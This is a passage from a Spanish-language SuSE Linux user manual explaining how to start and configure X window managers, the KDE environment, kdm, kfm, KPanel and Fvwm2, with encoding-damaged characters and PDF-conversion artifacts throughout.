  17073.  
  17074.  
  17075. mencionadas.  Los que lo ofrecen son p. ej.  KDE , GNOME , WindowMaker
  17076. y Enlightenment .
  17077.  
  17078. La mayorφa de los WM se configuran con uno o varios ficheros, en los que
  17079. se puede ajustar los diversos parßmetros con comandos mßs o menos descrip-
  17080. tivos.  DespuΘs del primer contacto es fßcil acostumbrarse rßpidamente a un
  17081. WM y su configuraci≤n. Ademßs, el WM preferido solo se configura al prin-
  17082. cipio y despuΘs solo se trabaja con Θl.
  17083.  
  17084.  
  17085. 9.1.3      Iniciar los distintos gestores de ventana
  17086.  
  17087. Para iniciar varios WM, SuSE      Linux presenta varias posibilidades,  que de-
  17088. penden de la forma de arrancar el sistema X Window.
  17089.  
  17090.  
  17091. Iniciar con kdm
  17092.  
  17093. Iniciando  el  sistema  X  Windowmediante  KDM  se  puede  seleccionar  un
  17094. gestor de ventanas.  kdm    guarda para cada usuario el el ·ltima gestor usado
  17095. (detalles en el apartado 9.2 en la pßgina siguiente).
  17096.  
  17097.  
  17098. Iniciar con xdm
  17099.  
  17100. Usando  XDM  en  lugar  de  KDM  es  necesario  configurar  en  el  fichero  ~/
  17101. .bashrc la variable de entorno WINDOWMANAGER, asφ como se explica mßs
  17102. adelante.
  17103.  
  17104.  
  17105. Inicio con startx
  17106.  
  17107. Si no se inicia el sistema X Window despuΘs del arranque, es posible iniciarlo
  17108. con un determinado gestor de ventanas desde la consola de texto, p. ej. con el
  17109. comando:
  17110.  
  17111.       tux@tierra:  >  startx  fvwm95
  17112.  
  17113. Asφ  se  inicia  el  Fvwm95 .   Como  parßmetro  se  usa  siempre  el  nombre  del
  17114. gestor de ventanas, cosa que funciona en la mayorφa de los gestores de ventana
  17115. de SuSE     Linux.  Es posible ampliar esta llamada p. ej.  con la profundidad de
  17116. color deseada. El comando:
  17117.  
  17118.       tux@tierra:  >  startx  afterstep  --  -bpp  16
  17119.  
  17120. inicia el sistema X Window con AfterStep como gestor y una profundidad de
  17121. color de 16 bit (65536 colores).  Lo mßs probable es que esta profundidad ya
  17122. se haya elegido como estßndar durante la instalaci≤n; ver apartado 2.1.14 en
  17123. la pßgina 27Preparaci≤n del entorno grßficosubsection.2.1.14 tal como pßgina
  17124. del manual de startx       (man  startx        ).
  17125.  
  17126.  
  17127. La variable WINDOWMANAGER
  17128.  
  17129. Una vez decidido por un determinado gestor de ventanas se puede a±adir o
  17130. modificar la siguiente lφnea en el fichero ~/.bashrc:
  17131.  
  17132.       export  WINDOWMANAGER=fvwm95
  17133.  
  17134. En este ejemplo,  el gestor por defecto pasa a ser Fvwm95.  Si el directorio
  17135. /usr/X11R6/bin  no  forma  parte  de  la  variable  de  entorno  PATH,  se  debe
  17136.  
  17137.  
  17138.                                                                                                                                    *
  17139.  *   265
  17140. 9.  El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________*
  17141.  *_______________________________________@
  17142.  
  17143.  
  17144.  
  17145.                            indicar en la lφnea de arriba la rama completa en la que se encuentra el gestor
  17146.                            de ventanas.
  17147.                            TambiΘn  se  puede  poner  la  entrada  de  arriba  adentro  del  fichero  /etc/
  17148.                            profile, para definir asφ el WM para todo el sistema.  Cada usuario puede
  17149.                            superponer  esta  definici≤n  con  la  individual  que  se  realiza  en  el  fichero
  17150.                            ~/.bashrc.
  17151.  
  17152.  
  17153.                            Cambiar el gestor de ventanas en tiempo de ejecuci≤n
  17154.  
  17155.                            Algunos  gestores  de  ventana  (especialmente  los  de  la  familia  Fvwm )  per-
  17156.                            miten el cambio del gestor en tiempo de ejecuci≤n.  No cierran las ventanas
  17157.                            que ya estßn abiertas y tampoco los programas que corren en Θstas.  Es una
  17158.                            caracterφstica que no se implement≤ para algunos gestores como Ctwm , kwm
  17159.                            (KDE ) o CDE . Sin embargo es posible conseguirla usando SuSE     DyDe (ingl.
  17160.                            SuSE     dynamic desktop).  Para utilizarlo hay que definir suse  como gestor de
  17161.                            ventanas o bien seleccionar esto en KDM .
  17162.  
  17163.  
  17164.                            9.2       KDE  ~ K Desktop Environment
  17165.  
  17166.                            KDE  ofrece  para  Linux  un  entorno  grßfico  de  configuraci≤n  sencilla  y  de
  17167.                            apariencia homogΘnea para muchas aplicaciones. KDE significa ''K Desktop
  17168.                            Environment''  y  es  el  proyecto  de  un  grupo  de  programadores  en  continuo
  17169.                            crecimiento que se form≤ en el oto±o de 1996.
  17170.  
  17171.                            KDE ofrece sobre todo, aparte de un gestor de ventanas propio (kwm ), un ad-
  17172.                            ministrador de ficheros/navegador (kfm ), un sistema de ayuda general basado
  17173.                            en  documentos  HTML  (kdehelp ),  Manual-Pages  y  pßginas  de  informaci≤n
  17174.                            GNU. Existe tambiΘn una multitud de aplicaciones mßs o menos complejas,
  17175.                            ·tiles para el trabajo diario (p. ej.  gestor de correo, lector de noticias, juegos,
  17176.                            herramientas de sistema, etc.).
  17177.  
  17178.                            KDE  estß  completamente  basado  en  +  URL  y  +  MIME.  Esto  significa  que
  17179.                            todas  las  ramas  y  referencias  a  ficheros  se  traspasan  y  se  procesan  en  un
  17180.                            formato ·nico (p. ej.  como referencia a una pßgina HTML, a un fichero en
  17181.                            el sistema de ficheros local, a una pßgina de ayuda, a un servidor FTP, etc.).
  17182.                            Ademßs los ''Mimetypes'' establecen una correlaci≤n entre el tipo de fichero y
  17183.                            el programa que lo puede leer o ejecutar. Asφ es posible visualizar y procesar
  17184.                            los ficheros independientemente de su tipo y fuente, con un click del mouse.
  17185.  
  17186.                            Ademßs, existe para el usuario la posibilidad de realizar muchas tareas con
  17187.                            ''Arrastrar y colocar'' (ingl. Drag & Drop), p. ej.  la de copiar un fichero desde
  17188.                            un servidor FTP a un directorio local.
  17189.  
  17190.                            El sistema de ayuda de KDE es otra ventaja de este entorno. Se ha notificado
  17191.                            a todos los autores de aplicaciones KDE que a±adan la documentaci≤n sobre
  17192.                            el  programa  desarrollado  en  formato  HTML  a  la  ya  existente.   Desde  las
  17193.                            aplicaciones es posible acceder a las pßginas de ayuda que concuerdan con el
  17194.                            contexto, usando el bot≤n `Ayuda'. No solo se puede navegar por el sistema
  17195.                            de ayuda, sino que el navegador permite tambiΘn pasar por las Manpages de
  17196.                            Unix o por las pßginas info GNU.
  17197.  
  17198.                            Otras  caracterφsticas  de  una  larga  lista  son  la  posibilidad  de  colocar  iconos
  17199.                            como  accesos  directos  sobre  el  escritorio  y  la  uniformidad,  comodidad  y
  17200.                            sencillez de la configuraci≤n del KDE y de las aplicaciones escritas para Θl.
  17201.  
  17202.  
  17203. 266
  17204.        ___________________________________________________________________________9.2.__KDE__~_K_Desktop_Environment_______________*
  17205.  *______________________
  17206.  
  17207.        _______________________________________________________________________________________________________________________||
  17208.        ||||||||  KDE  se  desarrolla  usando  el  Qt  Widget  Set,  que  es  una  especie  de  bib-             |||            |
  17209.        ||||||||| lioteca  (parecido  a  Motif)  para  dise±ar  programas  con  superficie  grßfica              ||             ||
  17210.        ||||||||  en el sistema X Window.  ObsΘrvense los tΘrminos de licencia de Qt, que                        |||            |
  17211.        ||||||||                                                                                                 ||             |
  17212.        ||||||||  difieren de los de la GPL (/usr/doc/packages/qt/LICENSE).                                      ||             |
  17213.        ||||||||_______________________________________________________________________________________________________________||_
  17214.  
  17215. 9.2.1      Generalidades
  17216.  
  17217. KDE  se  instala  por  defecto  en  el  directorio  /opt/kde  y  todos  los  ficheros
  17218. importantes  para  Θl  se  encuentran  en  directorios  por  debajo  de  Θste.   Para
  17219. acceder  mßs  fßcilmente  a  estos  directorios  se  define  en  /etc/profile  la
  17220. variable de entorno KDEDIR.
  17221.  
  17222. Ademßs,  el  directorio  /opt/kde/bin  se  encuentra  automßticamente  en  la
  17223. rama  de  b·squeda  para  ejecutables  (PATH),  despuΘs  de  haber  instalado  los
  17224. paquetes del KDE.
  17225.  
  17226. El ßrbol de directorios del KDE contiene muchos subdirectorios de los cuales
  17227. la tabla 9.1 describe solo los mßs importantes.
  17228.  
  17229.        _______________________________________________________________________________________________________________________
  17230.  
  17231.  
  17232.    /opt/kde/bin                                todos  los  programas  del  KDE  (ficheros
  17233.                                                ejecutables)
  17234.    /opt/kde/share/config                       ficheros de configuraci≤n globales
  17235.    /opt/kde/share/applnk                       enlaces entre programas (men·s)
  17236.    /opt/kde/share/apps                         ficheros de aplicaciones del KDE
  17237.    /opt/kde/share/doc                          las ayudas en lφnea
  17238.    /usr/doc/packages/kde                       informaci≤n adicional sobre el KDE
  17239.  
  17240.        _______________________________________________________________________________________________________________________
  17241.                           Tabla 9.1: KDE ~ directorios importantes
  17242.  
  17243.  
  17244. Para los que prefieren usar el teclado en lugar del mouse, se presentan en la
  17245. tabla 9.2 algunas teclas abreviadas.
  17246.  
  17247.        _______________________________________________________________________________________________________________________
  17248.  
  17249.        |||||__    ___
  17250.     Alt__|____+_|F___|1_                           Abrir el men· de K.
  17251.     Alt||||||_+ |F___|2                            Abrir un cuadro de introducci≤n de co-
  17252.  
  17253.                                                    mandos multiprop≤sito, p. ej. para intro-
  17254.                                                    ducir  URLs,  directorios  locales  o  co-
  17255.                                                    mandos/programas.
  17256.     Alt||||||__+ |F___|_3                          Cerrar la ventana.
  17257.        |||||__    ____
  17258.     Alt__|____+ |T____a|b                          Cambiar entre las ventanas del escrito-
  17259.                                                    rio activo.
  17260.     Ctr||||||____l+ |E_____|sc                     Abrir una ventana, que indica todas las
  17261.  
  17262.                                                    ventanas  abiertas  de  todos  los  escrito-
  17263.                                                    rios
  17264.     Ctr||||||____l+ |F___|_1. . . |____|F8         Cambiar entre los escritorios 1 hasta 8.
  17265.  
  17266.        _______________________________________________________________________________________________________________________
  17267.                      Tabla 9.2: KDE ~ teclas abreviadas importantes
  17268.                                                                                                                                    *
  17269.  *   267
  17270. 9.  El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________*
  17271.  *_______________________________________@
  17272.  
  17273.  
  17274.  
  17275.                            9.2.2      kdm ~ ''login'' grßfico
  17276.                            El gestor de pantallas (ingl. Displaymanager) KDM , que estß incluido en los
  17277.  
  17278.                            paquetes del KDE, es una ampliaci≤n valiosa de cualquier sistema Linux, con
  17279.                            en el cual los usuarios entran con un ''login'' grßfico. La figura 9.6 muestra la
  17280.                            configuraci≤n predeterminada de kdm en SuSE     Linux.
  17281.                                                         Figura 9.6: El gestor de pantalla kdm
  17282.  
  17283.  
  17284.                            Hay botones para elegir el gestor de ventanas (`Sessiontype'),  para ele-
  17285.                            gir  el  idioma  de  los  men·s  (`Language')  y  para  detener  la  computadora
  17286.                            `(Shutdown)';  ver el apartado 19.2 en la pßgina 468Apagar y arrancar el
  17287.                            sistemasection.19.2.
  17288.  
  17289.                            KDM  se configura directamente con el fichero de configuraci≤n /opt/kde/
  17290.                            share/config/kdmrc  o  bien  mediante  un  dißlogo  de  configuraci≤n  del
  17291.                            men·  de  KDE.Independientemente  de  esto,  SuSE     Linux  incorpora  la  posi-
  17292.                            bilidad de configurar el inicio de KDM  y los gestores de ventana a disposi-
  17293.                            ci≤n mediante YaST ; ver el apartado 3.7.5 en la pßgina 111Configuraci≤n del
  17294.                            Loginsubsection.3.7.5.
  17295.  
  17296.                            SuSEconfig  coloca  los  valores  de  estas  variables  adentro  de  /opt/kde/
  17297.                            share/config/kdmrc y asφ la configuraci≤n se activa_en_el_pr≤ximo_inicio_    ____
  17298.                            de  KDM  que  se  puede  reiniciar  p. ej.  con | ______C|trl+ | ____A|lt+ | ____7|.!  La  incor-
  17299.                            poraci≤n  de  las  variables  procedentes  de  /etc/rc.config/  se  suprime  si
  17300.                            se  hubiera  configurado  el  kdm  en  tiempo  de  ejecuci≤n  valiΘndose  del  cen-
  17301.                            tro  de  control  de  KDE.  Si  a  pesar  de  todo  se  desea  efectuar  la  configu-
  17302.                            raci≤n  a  travΘs  de  /etc/rc.config  se  debe  renombrar  el  fichero  kdmrc.
  17303.                            SuSEconfig (SuSEconfig.kdm lo genera siempre) como kdmrc1 .
  17304.  
  17305.  
  17306.                            9.2.3      ┐QuΘ es lo fabuloso del KDE?
  17307.  
  17308.                            Una vez que se haya entrado al sistema con KDM  de manera confortable, es
  17309.                            hora de comentar las peculiaridades del KDE. Para ello observemos lo que
  17310.                            transcurre despuΘs del ''login'' (o despuΘs del comando startx      )
  17311.                            _____________________________________________1
  17312.                              Ambos ficheros se encuentran en el directorio /opt/kde/share/config.
  17313.  
  17314.  
  17315. 268
  17316.        ___________________________________________________________________________9.2.__KDE__~_K_Desktop_Environment_______________*
  17317.  *______________________
  17318.  
  17319.  
  17320.  
  17321. La primera vez que se entra al KDE aparecen algunos cuadros de dißlogo que
  17322. advierten sobre la ausencia de diferentes ficheros y directorios. No se trata de
  17323. un error ya que el KDE necesita (y al inicio crea) una serie de directorios en
  17324. el directorio del usuario. La estructura de estos es parecida a la que existe en
  17325. /opt/kde (ver la tabla 9.1 en la pßgina 267Generalidadessubsection.9.2.1) y
  17326. se crea en los directorios HOME/.kde y HOME/Desktop. El primer directorio
  17327. alberga los ficheros de configuraci≤n y el segundo los enlaces de programas.
  17328.  
  17329. Por eso se pueden confirmar los dißlogos mencionados simplemente con |______|-
  17330. o con un click del mouse.
  17331.  
  17332. Ahora se inicia el kfm  (K FileManager).  Kfm es un componente bßsico del
  17333. KDE  capaz  de  gestionar  muchos  tipos  de  ficheros  ya  que  sus  nombres  se
  17334. gestionan como URLs.  No importa si se copia un fichero desde un servidor
  17335. FTP  (URL-prefijo  ftp:),  como  fichero  local  (URL-prefijo  file:)  o  si  se
  17336. lee  una  manpage  (URL-PrΣfix  man:),  una  pßgina  GNU-Info  (URL-prefijo
  17337. info:)  o  una  pßgina  web  en  HTML  desde  un  servidor-web  (URL-PrΣfix
  17338. http:) ~ kfm trata igual a todos los ficheros.  Incluso es posible visualizar
  17339. imßgenes de diferentes formatos con un simple click de mouse, valiΘndose de
  17340. un visualizador externo. La figura 9.7 muestra una ventana tφpica de kfm.
  17341.  
  17342.  
  17343.                         Figura 9.7: El administrador de ficheros kfm
  17344.  
  17345.  
  17346. El  usuario  se  acostumbra  muy  rßpidamente  a  estas  caracterφsticas  tal  como
  17347. a la posibilidad de copiar ficheros con el sencillo ''Arrastre y Coloque''.  A
  17348. prop≤sito:  con  un  click  del  bot≤n  derecho  sobre  el  sφmbolo  de  un  fichero,
  17349. se abre un men· que ofrece distintas posibilidades de manipulaci≤n, p. ej.  el
  17350. cambio de las propiedades del fichero o programa.
  17351.  
  17352. Las propiedades de un programa, p. ej.  los parßmetros con los que se inicia,
  17353. el icono utilizado para su visualizaci≤n sobre el escritorio, etc.  se definen en
  17354. un fichero con la extensi≤n .kdelnk.  La figura   9.8 en la pßgina siguiente
  17355. muestra el dißlogo para modificar las propiedades.  El fichero con extensi≤n
  17356. .kdelnk  es  un  fichero  ASCII,  que  se  puede  editar.   Vale  la  pena  observar
  17357. estos ficheros que se encuentran p. ej.  en ~/Desktop, o ~ para todo el sistema
  17358.  
  17359.  
  17360.                                                                                                                                    *
  17361.  *   269
  17362. 9.  El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________*
  17363.  *_______________________________________@
  17364.  
  17365.  
  17366.  
  17367.                            ~ en /opt/kde/share/applnk.  Los ficheros vßlidos para todo el sistema
  17368.                            hacen referencia a los iconos del escritorio y de los men·s y su contenido es
  17369.                            uniforme, tal como el de los demßs ficheros de configuraci≤n del KDE.
  17370.  
  17371.  
  17372.                                               Figura 9.8: El dißlogo de definici≤n de propiedades
  17373.  
  17374.  
  17375.                            Por ·ltimo, se inicia generalmente la barra de men· KPanel , que contiene los
  17376.                            botones para cambiar de escritorio virtual y un men· especial (el de la letra
  17377.                            `K') que contiene todos los sub-men·s globales del sistema (ver los ficheros
  17378.                            kdelnk).   Este  men·  alberga  tambiΘn  la  posibilidad  de  configurar  el  KDE
  17379.                            con el ''centro de control'' del KDE (ver figura 9.9 en la pßgina siguiente) y
  17380.                            de configurar el KPanel.
  17381.  
  17382.                            Pero KPanel es a·n mßs versßtil ya que por una parte se pueden colocar iconos
  17383.                            de programas vφa Drag & Drop sobre el panel e iniciar los correspondientes
  17384.                            programas desde allφ y por otra parte, KPanel puede ''absorber'' aplicaciones
  17385.                            en ejecuci≤n. Estas podrφan ser p. ej.  klipper (varios b·feres para cortar y pe-
  17386.                            gar) o korn que indica la cantidad de mensajes en un determinado directorio.
  17387.                            Estas aplicaciones se ejecutan entonces dentro del KPanel y de este modo son
  17388.                            visibles en todos los escritorios.
  17389.  
  17390.                            Serφa muy difφcil comentar aquφ sobre todos los programas del KDE ya que
  17391.                            la cantidad existente crece rßpidamente. El equipo KDE pretende, entre otras
  17392.  
  17393.  
  17394. 270
  17395.        ______________________________________________________________________________________________________________9.3.__El_Fvwm_*
  17396.  *______________________
  17397.  
  17398.  
  17399.  
  17400.                            Figura 9.9: El centro de control de KDE
  17401. cosas, hacer las computadoras mßs fßciles de manejar, asφ que lo mßs sencillo
  17402. es entrar al men· y empezar a probar el programa que mßs interese.
  17403.  
  17404. Acceder a la ayuda es tan sencillo como pulsar el bot≤n derecho del mouse
  17405. sobre el fondo;  aparecerß un men· con muchas posibilidades, entre ellas el
  17406. acceso a la ayuda.
  17407.  
  17408. Sin  embargo,  cabe  recordar  que  muchos  paquetes  del  KDE  suministrados
  17409. se  encuentran  en  sus  primeras  fases  de  desarrollo.   Esto  quiere  decir  que
  17410. el  programa  puede  ser  inestable  o  bien  reacciona  de  manera  extra±a,  pero
  17411. normalmente lo que ocurre en estos casos es que el programa se cuelga o se
  17412. cierra, con lo cual se debe reinicializar.
  17413.  
  17414. Tiene  a  su  disposici≤n  algunas  listas  de  correo  a  las  que  se  puede  acceder
  17415. a travΘs de la pßgina web del proyecto KDE (http://www.kde.org).  Allφ
  17416. hay tambiΘn mucha informaci≤n sobre los orφgenes del KDE, la intenci≤n del
  17417. proyecto y su estado actual.
  17418.  
  17419. No queremos olvidar el servidor FTP de SuSE      en el cual se encuentran ba-
  17420. jo ftp://ftp.suse.com/pub/SuSE-Linux/suse_update/KDE, paquetes
  17421. de KDE especialmente adaptados a SuSE     Linux y que pueden ser instalados
  17422. c≤modamente usando YaST . TambiΘn hay allφ explicaciones adicionales so-
  17423. bre la instalaci≤n y el uso del KDE en el sistema SuSE     Linux.
  17424. 9.3       El Fvwm
  17425.  
  17426.  
  17427.  
  17428.                                                                                                                                    *
  17429.  *   271
  17430. 9.  El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________*
  17431.  *_______________________________________@
  17432.  
  17433.  
  17434.  
  17435.                            Generalidades
  17436.                            Este apartado tiene como objeto de discusi≤n el Fvwm2  (fvwm2     ), que es uno
  17437.  
  17438.                            de  los  gestores  de  ventana  de  referencia  y  se  siguen  desarrollando  nuevos
  17439.                            gestores basados en Θl ~ p. ej. recientemente el Scwm (scwm    ).
  17440.  
  17441.                            En  SuSE     Linux  el  Fvwm2  se  encuentra  en  el  paquete  fvwm,  serie  xwm;  el
  17442.                            antiguo Fvwm estß en el paquete fvwm1, serie xwm.
  17443.  
  17444.                            Aparte  de  las  funciones  usuales  de  administraci≤n  de  ventanas  y  su  deco-
  17445.                            raci≤n con botones,  Θste ofrece tambiΘn men·s de fondo y m≤dulos que se
  17446.                            pueden cargar en tiempo de ejecuci≤n. Los m≤dulos contienen funciones adi-
  17447.                            cionales muy interesantes como p. ej.  una barra con botones.
  17448.  
  17449.                            Para  obtener  mßs  informaci≤n  sobre  la  funci≤n,  el  inicio  y  la  configu-
  17450.                            raci≤n  del  Fvwm   y  sus  m≤dulos,   consulte  las  Manpages  correspondi-
  17451.                            entes  (pßgina  del  manual  de  fvwm2       (man  fvwm2       ),   pßgina  del  manual
  17452.                            de  FvwmAudio          (man  FvwmAudio           ),  pßgina  del  manual  de  FvwmButtons
  17453.                            (man  FvwmButtons             ),  etc.)   o  el  directorio  de  documentaci≤n  /usr/doc/
  17454.                            packages/fvwm,  que  contiene  tambiΘn  unos  ficheros  de  configuraci≤n  de
  17455.                            ejemplo.
  17456.  
  17457.                            Para no tener que escribir un fichero de configuraci≤n desde cero, se puede
  17458.                            encargar a susewm  la creaci≤n de una plantilla y adaptarla posteriormente a
  17459.                            las necesidades.  En el apartado 9.5 en la pßgina 277Configuraci≤n del win-
  17460.                            dowmanager con SuSEwm section.9.5 hay una explicaci≤n sobre susewm .
  17461.  
  17462.  
  17463.                            Ficheros de configuraci≤n del Fvwm
  17464.  
  17465.                            El Fvwm se configura con dos ficheros distintos:
  17466.  
  17467.                              o   El  fichero  que  contiene  la  configuraci≤n  global  deberφa  existir  siempre.
  17468.                                  Se encuentra en el directorio /usr/X11R6/lib/X11/fvwm2 y se llama
  17469.                                  .fvwm2rc.
  17470.                              o   Un fichero de configuraci≤n para cada usuario que no debe existir nece-
  17471.                                  sariamente. Se llama ~/.fvwm2rc y se encuentra en el directorio personal
  17472.                                  del respectivo usuario.
  17473.  
  17474.                            Cuando se instala SuSE     Linux, el programa susewm (se explica en el aparta-
  17475.                            do  9.5  en  la  pßgina  277Configuraci≤n  del  windowmanager  con  SuSEwm
  17476.                            section.9.5) se encarga de generar siempre un fichero de configuraci≤n global
  17477.                            para el Fvwm2.
  17478.  
  17479.                            El Fvwm2 lee todos los ficheros de configuraci≤n cuando arranca.  El Win-
  17480.                            dowmanager  se  inicia  desde  el  fichero  /usr/X11R6/lib/X11/xinit/
  17481.                            xinitrc o desde ~/.xinitrc.  Para conseguirlo hay que modificar la vari-
  17482.                            able de entorno WINDOWMANAGER de tal modo que apunte hacia el directorio
  17483.                            del correspondiente WM , p. ej.  /usr/X11R6/bin/fvwm2; ver tambiΘn en la
  17484.                            pßgina 265Iniciar los distintos gestores de ventanasubsection.9.1.3.  Cuando
  17485.                            se inicia el Windowmanager, primero intenta leer el fichero de configuraci≤n
  17486.                            individual del usuario y despuΘs, si Θste no existe, el fichero de configuraci≤n
  17487.                            global.
  17488.  
  17489.                            TambiΘn los m≤dulos del Fvwm leen estos ficheros de configuraci≤n cuando
  17490.                            se inician, con la diferencia de que cada m≤dulo solo lee la parte que corre-
  17491.                            sponde a su propia configuraci≤n.
  17492.  
  17493.  
  17494. 272
  17495.        _________________________________________________________________________________________________9.4.__Ajustes_del_Fvwm_____*
  17496.  *______________________
  17497.  
  17498.  
  17499.  
  17500. En realidad es muy recomendable generar un fichero de configuraci≤n indi-
  17501. vidual para cada usuario,  para que Θste lo pueda modificar a su gusto.  De-
  17502. spuΘs de haber modificado alg·n fichero de configuraci≤n hace falta reiniciar
  17503. el gestor de ventanas, para que las modificaciones tengan efecto.
  17504.  
  17505. La configuraci≤n de SuSE     tiene por defecto una opci≤n en el `Work  menu'
  17506. llamada `Window  Manager' que permite el reinicio del WM. El efecto es
  17507. igual al de un reinicio del servidor-X.
  17508.  
  17509.  
  17510.  
  17511. 9.4       Ajustes del Fvwm
  17512.  
  17513.  
  17514. Generalidades
  17515.  
  17516. Ahora  le  llega  el  turno  al  fichero  de  configuraci≤n  personalizado  que  se
  17517. debe  haber  creado  con  anterioridad  seg·n  las  explicaciones  en  en  la  pßgi-
  17518. na 278┐C≤mo usar SuSEwm ?subsection.9.5.1.  Aparte de la posibilidad de
  17519. generar el fichero con susewm, se puede usar tambiΘn el fichero ~/.fvwm2rc
  17520. suministrado por los programadores de Fvwm, que se encuentra en el direc-
  17521. torio /usr/doc/packages/fvwm/system.fvwm2rc.
  17522.  
  17523. Primero  se  debe  cargar  el  fichero  ~/.fvwm2rc  en  el  editor  preferido  y  a
  17524. continuaci≤n se discuten las posibilidades de configuraci≤n.
  17525.  
  17526.  
  17527. ┐QuΘ sucede al iniciar el Fvwm?
  17528.  
  17529. Se  pueden  repasar  las  lφneas  hasta  llegar  al  comentario  que  se  indica  en  el
  17530. fichero 9.4.1.
  17531.        _______________________________________________________________________________________________________________________
  17532.        |||||||| #########################################################                                                      |
  17533.        ||||||||                                                                                                                |
  17534.        |||||||| #                                                                                               #              |
  17535.        |||||||| #     initialization  function  head                                         #                                 |
  17536.        ||||||||                                                                                                                |
  17537.        |||||||| #     common  to  all  wms                                                            #                        |
  17538.        |||||||| #                                                                                               #              |
  17539.        |||||||| #########################################################                                                      |
  17540.        ||||||||_______________________________________________________________________________________________________________ |
  17541.  
  17542.                Fichero 9.4.1: InitFunction            en el fichero ~/.fvwm2rc
  17543.  
  17544.  
  17545. Por debajo de estas lφneas se encuentran todos los procesos que se llevan a
  17546. cabo  cuando  el  Fvwm2  se  reinicia.  Se  carga  el  m≤dulo  FvwmBanner  que
  17547. representa  el  logotipo,  se  inician  varios  xterm  tal  como  un  xpmroot  que
  17548. permite colocar imßgenes en el fondo (o sea en la ventana del superusuario
  17549. (ingl. Root Window)).  Puede usar cualquier programa capaz de confeccionar
  17550. la imagen de fondo como p. ej.  programmxli, xv , etc.
  17551.  
  17552. Por ejemplo para xv el comando serφa:
  17553.       +   "I"   Exec  xv  -quit  -root  -owncmap  -maxpect  ~/pics/imagen13.pnp
  17554.  
  17555. Se  deberφa  mencionar  la  imagen  de  fondo  nuevamente  bajo  los  procesos
  17556. que  se  llevan  a  cabo  reiniciando  el  Fvwm,  o  sea  incluirla  en  la  funci≤n
  17557. RestartFunction              .  Esta se encuentra en el fichero 9.4.2 en la pßgina sigu-
  17558. iente.
  17559.  
  17560. Muchas  veces  las  secciones  InitFunction            y  RestartFunction              se  pare-
  17561. cen  mucho,  ya  que  ambas  se  encargan  de  iniciar  el  WM.  No  obstante,  en
  17562.  
  17563.  
  17564.                                                                                                                                    *
  17565.  *   273
  17566. 9.  El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________*
  17567.  *_______________________________________@
  17568.  
  17569.                            ________________________________________________________________________________________________________*
  17570.  *________
  17571.                            | #########################################################                                             *
  17572.  *         |
  17573.                            |                                                                                                       *
  17574.  *         |
  17575.                            ||#                                                                                               #     *
  17576.  *         ||
  17577.  
  17578.                            | #     restart  function                                                              #                *
  17579.  *         |
  17580.                            | #     common  to  all  wms                                                            #               *
  17581.  *         |
  17582.                            | #                                                                                               #     *
  17583.  *         |
  17584.                            | #########################################################                                             *
  17585.  *         |
  17586.                            |_______________________________________________________________________________________________________*
  17587.  *________ |
  17588.  
  17589.                                          Fichero 9.4.2: InitFunction            en el fichero ~/.fvwm2rc
  17590.  
  17591.  
  17592.  
  17593.                            RestartFunction               se descarta generalmente el reinicio de la imagen de fon-
  17594.                            do del Windowmanager.
  17595.  
  17596.                            Aparte  de  las  funciones  InitFunction            y  RestartFunction             ,  existe  una
  17597.                            funci≤n adicional llamada ExitFunction           .  El nombre ya indica que se trata
  17598.                            de  una  funci≤n  de  ''ordenar''  que  permite  indicar  cußles  son  los  programas
  17599.                            que se deben ejecutar antes del reinicio del WM o antes de salir del mismo.
  17600.                            Asφ se consigue p. ej.   borrar la imagen de fondo antes de iniciar una nueva
  17601.                            con el reinicio del WM.
  17602.  
  17603.  
  17604.  
  17605.                            Colores y fuentes
  17606.  
  17607.  
  17608.                            Los ajustes para colores y fuentes se encuentran en el fichero 9.4.3.
  17609.  
  17610.                            ________________________________________________________________________________________________________*
  17611.  *________||
  17612.                            | #########################################################                                             *
  17613.  *         |
  17614.                            | #                                                                                               #     *
  17615.  *         |
  17616.                            |                                                                                                       *
  17617.  *         |
  17618.                            | #     colors  and  fonts                                                              #               *
  17619.  *         |
  17620.                            | #                                                                                               #     *
  17621.  *         |
  17622.                            | #########################################################                                             *
  17623.  *         |
  17624.                            |_______________________________________________________________________________________________________*
  17625.  *________ |
  17626.  
  17627.                                  Fichero 9.4.3: Ajustes de color y de fuente en el fichero ~/.fvwm2rc
  17628.  
  17629.  
  17630.                            Aquφ  se  puede  modificar  todo  a  gusto  propio  y  elegir  los  colores  que  mßs
  17631.                            agraden entre los que estßn disponibles, que por otra parte dependen p. ej.  de
  17632.                            la tarjeta grßfica.  Pulse el bot≤n derecho del mouse y entre primero al men·
  17633.                            `System', despuΘs al men· `Information'. Allφ aparece la opci≤n `Color
  17634.                            palette', que muestra una ventana con todos los colores disponibles de los
  17635.                            que ahora se puede elegir uno.  Los nombres de los colores se encuentran en
  17636.                            el fichero /usr/X11R6/lib/X11/rgb.txt.
  17637.  
  17638.                            Un poco mßs abajo se encuentran lφneas del siguiente tipo:
  17639.  
  17640.                                  WindowFont   -misc-fixed-bold-r-normal-*-13-*-75-75-c-80-iso8859-1
  17641.  
  17642.                            Se trata de una descripci≤n sistemßtica de un tipo de letra o fuente (ingl. font)
  17643.                            para  el  sistema  X  Window.   Todas  las  fuentes  se  describen  de  una  manera
  17644.                            semejante,  sobre  la  que  no  se  discuten  aquφ  sus  detalles.   Para  simplificar
  17645.                            la  definici≤n  de  sus  nombres  existe  una  serie  de  alias;  todas  las  fuentes  se
  17646.                            encuentran generalmente en el directorio /usr/X11R6/lib/X11/fonts en
  17647.                            cuyos subdirectorios existe un fichero fonts.alias. Este contiene las abre-
  17648.                            viaciones usuales para las fuentes:
  17649.  
  17650.                                  variable   -*-helvetica-bold-r-normal-*-*-120-*-*-*-*-iso8859-1
  17651.                                  5x7           -misc-fixed-medium-r-normal--7-70-75-75-c-50-iso8859-1
  17652.  
  17653.  
  17654. 274
  17655.        _________________________________________________________________________________________________9.4.__Ajustes_del_Fvwm_____*
  17656.  *______________________
  17657.  
  17658.        _______________________________________________________________________________________________________________________||
  17659.        |||||||| #                                                                                                              |
  17660.        |||||||||## others                                                                                                      ||
  17661.        ||||||||                                                                                                                |
  17662.        ||||||||                                                                                                                |
  17663.        |||||||| Style   "xterm"                Icon  Terminal.xpm                                                              |
  17664.        |||||||| Style   "xosview"             NoTitle,  Sticky                                                                 |
  17665.        |||||||| Style   "xosview"             UsePPosition                                                                     |
  17666.        ||||||||_______________________________________________________________________________________________________________ |
  17667.  
